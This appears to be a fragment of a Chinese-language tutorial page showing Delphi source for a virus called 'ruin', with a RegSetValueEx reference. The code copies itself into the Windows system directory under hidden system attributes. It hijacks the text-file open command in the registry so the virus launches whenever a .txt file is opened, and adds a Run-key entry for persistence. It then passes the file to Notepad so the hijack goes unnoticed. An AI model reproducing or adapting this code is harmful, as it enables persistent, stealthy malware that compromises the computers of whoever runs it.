![]() |
|
| LONG RegSetvalueEx( HKEY hKey, // 这个就是刚才我们得到的句柄 LPCTSTR lpvalueName, // 键名的地址 DWORD Reserved, // 一般设置为0 DWORD dwType, // 我们写的键的类型,字符串为REG_SZ CONST BYTE *lpData, // 键值的地址 DWORD cbData // 写入的键值的长度 ); |
| procedure SelfCopy; var Path,value:array [0..255] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path,256); //取得系统的路径 s:=strpas(Path); //转换成字符串 CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false); CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false); //把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); //设置刚才的两个文件为系统和隐藏 RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk); value:=‘virus_ruin.exe %1‘; RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17); //把virus_ruin.exe和文本文件关联 RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk); value:=‘ruin.exe‘; RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8); //设置开机自动运行ruin.exe end; |
| begin if paramcount=1 then shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal); //其他的代码 |
[1] [2]